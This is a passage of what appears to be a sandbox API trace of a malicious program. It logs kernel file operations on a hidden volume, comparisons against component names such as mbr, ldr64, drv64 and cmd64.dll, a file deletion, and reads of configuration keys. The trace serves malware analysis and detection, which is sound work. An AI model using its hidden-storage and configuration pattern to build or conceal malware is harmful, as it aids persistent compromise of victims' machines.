dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.661] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.661] KeEnterCriticalRegion () [0128.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.661] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.661] IdePortDispatch () returned 0x103 [0128.661] KeWaitForMutexObject () returned 0x0 [0128.661] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.661] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.661] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.661] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.661] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.661] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.661] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.661] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.661] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.661] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.661] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.661] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.661] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.661] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.661] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.661] KeLeaveCriticalRegion () [0128.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.661] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.661] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.661] KeEnterCriticalRegion () [0128.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.661] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.661] IdePortDispatch () returned 0x103 [0128.662] KeWaitForMutexObject () returned 0x0 [0128.662] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.662] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.662] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.662] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.662] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.662] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.662] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.662] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.662] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.662] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.662] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.662] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.662] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.662] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.662] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.662] KeLeaveCriticalRegion () [0128.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.662] ReleaseMutex (hMutex=0x100) returned 1 [0128.662] Sleep (dwMilliseconds=0x2bf20) [0128.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fe364d0, dwHighDateTime=0x1d24fa4)) [0128.668] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.668] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.668] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.669] KeEnterCriticalRegion () [0128.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.669] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.669] IdePortDispatch () returned 0x103 [0128.669] KeWaitForMutexObject () returned 0x0 [0128.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.669] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.669] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.669] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.669] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.669] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00110 [0128.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.669] KeLeaveCriticalRegion () [0128.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.669] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.669] KeEnterCriticalRegion () [0128.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.669] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.669] KeLeaveCriticalRegion () [0128.669] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.669] KeEnterCriticalRegion () [0128.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.669] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.669] IdePortDispatch () returned 0x103 [0128.669] KeWaitForMutexObject () returned 0x0 [0128.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.670] KeLeaveCriticalRegion () [0128.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.670] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.670] KeEnterCriticalRegion () [0128.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b06000 [0128.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.670] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.670] IdePortDispatch () returned 0x103 [0128.670] KeWaitForMutexObject () returned 0x0 [0128.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.670] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.670] IdePortDispatch () returned 0x103 [0128.670] KeWaitForMutexObject () returned 0x0 [0128.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.670] KeLeaveCriticalRegion () [0128.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.671] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.671] KeEnterCriticalRegion () [0128.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.671] KeLeaveCriticalRegion () [0128.671] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.671] KeEnterCriticalRegion () [0128.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.671] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.671] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c001d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.671] KeLeaveCriticalRegion () [0128.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.671] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.671] KeEnterCriticalRegion () [0128.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.671] ExFreePoolWithTag (P=0xfffffa8003c00110, Tag=0x0) [0128.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.671] KeLeaveCriticalRegion () [0128.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.671] ReleaseMutex (hMutex=0xf0) returned 1 [0128.671] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.671] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.671] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.671] KeEnterCriticalRegion () [0128.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.672] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.672] IdePortDispatch () returned 0x103 [0128.672] KeWaitForMutexObject () returned 0x0 [0128.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.672] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.672] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.672] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.672] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.672] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bbb80 [0128.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.672] KeLeaveCriticalRegion () [0128.672] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.672] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.672] KeEnterCriticalRegion () [0128.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.672] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.672] KeLeaveCriticalRegion () [0128.672] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.672] KeEnterCriticalRegion () [0128.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.672] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.672] IdePortDispatch () returned 0x103 [0128.672] KeWaitForMutexObject () returned 0x0 [0128.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.673] KeLeaveCriticalRegion () [0128.673] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.673] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.673] KeEnterCriticalRegion () [0128.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b07000 [0128.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.673] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.673] IdePortDispatch () returned 0x103 [0128.673] KeWaitForMutexObject () returned 0x0 [0128.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.673] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.673] IdePortDispatch () returned 0x103 [0128.673] KeWaitForMutexObject () returned 0x0 [0128.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.673] KeLeaveCriticalRegion () [0128.673] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.674] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.674] KeEnterCriticalRegion () [0128.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.674] KeLeaveCriticalRegion () [0128.674] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.674] KeEnterCriticalRegion () [0128.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.674] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.674] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.674] KeLeaveCriticalRegion () [0128.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.674] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.674] KeEnterCriticalRegion () [0128.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.674] ExFreePoolWithTag (P=0xfffffa80039bbb80, Tag=0x0) [0128.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.674] KeLeaveCriticalRegion () [0128.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.674] ReleaseMutex (hMutex=0xf0) returned 1 [0128.674] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.674] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.674] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.674] KeEnterCriticalRegion () [0128.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.674] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.674] IdePortDispatch () returned 0x103 [0128.675] KeWaitForMutexObject () returned 0x0 [0128.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.675] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.675] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.675] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.675] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.675] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.675] KeLeaveCriticalRegion () [0128.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.675] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.675] KeEnterCriticalRegion () [0128.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.675] KeLeaveCriticalRegion () [0128.675] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.675] KeEnterCriticalRegion () [0128.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.675] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.675] IdePortDispatch () returned 0x103 [0128.675] KeWaitForMutexObject () returned 0x0 [0128.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.675] KeLeaveCriticalRegion () [0128.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.676] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.676] KeEnterCriticalRegion () [0128.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b08000 [0128.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.676] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.676] IdePortDispatch () returned 0x103 [0128.676] KeWaitForMutexObject () returned 0x0 [0128.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.676] 